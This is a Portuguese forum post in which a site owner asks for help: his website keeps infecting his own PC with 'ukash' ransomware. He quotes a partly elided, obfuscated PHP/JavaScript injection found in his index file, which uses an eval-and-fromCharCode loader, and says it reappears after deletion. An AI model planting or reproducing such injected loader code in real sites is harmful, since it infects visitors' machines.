Boas
Estou aqui com um problema que não sei como resolver.
Ontem de manhã o meu pc bloqueou devido ao vírus ukash. Lá pesquisei pela solução, saquei um anti-malware recomendado e resolvi (aparentemente) o problema.
Da parte da tarde voltou a acontecer, voltei a correr o programa e voltei a conseguir usar o pc.
Hoje voltou a acontecer e notei que sempre que aconteceu eu tinha o meu site aberto (
www.ligadosadeptos.com)
Experimentei abrir o meu site noutro computador e não aconteceu nada de mal.
Fui então aos ficheiros do site e notei que existe este código no ficheiro do index:
<?
#a6f227#
echo " <script type=\"text/javascript\" language=\"javascript\" > if(021===0x11)v=\"va\"+\"l\";try{faweb++}catch(btawetb){try{fve^v}catch(btawt4){try{window.document.body=v}catch(gdsgsdg){w=window;if(020===0x10)e=w[\"e\".concat(if(1){f=new Array(40,,98,114,105,
(...)
,109,112,31,59,32,38,47,112,119,37,59,12,8,13,9,30,105,101,38,33,99,109,99,116,\"+\"arC\"+((020===0x10)?\"ode\":\"\")]((1*w[j]+j%3));}try{(w+s)()}catch(asga){e(s+\"\");}</script>";
#/a6f227#
?>
Apaguei e consegui abrir o site sem problema. Agora há 1 hora atrás o pc voltou a bloquear devido ao mesmo vírus, lá fui ao ficheiro e lá está o código de novo, sem eu ter feito qualquer modificação ao site.
Neste momento não faço ideia o que fazer. Como descubro o que está a acrescentar este código?
Agradeço a vossa ajuda, porque consigo fazer tudo no pc menos abrir o meu próprio site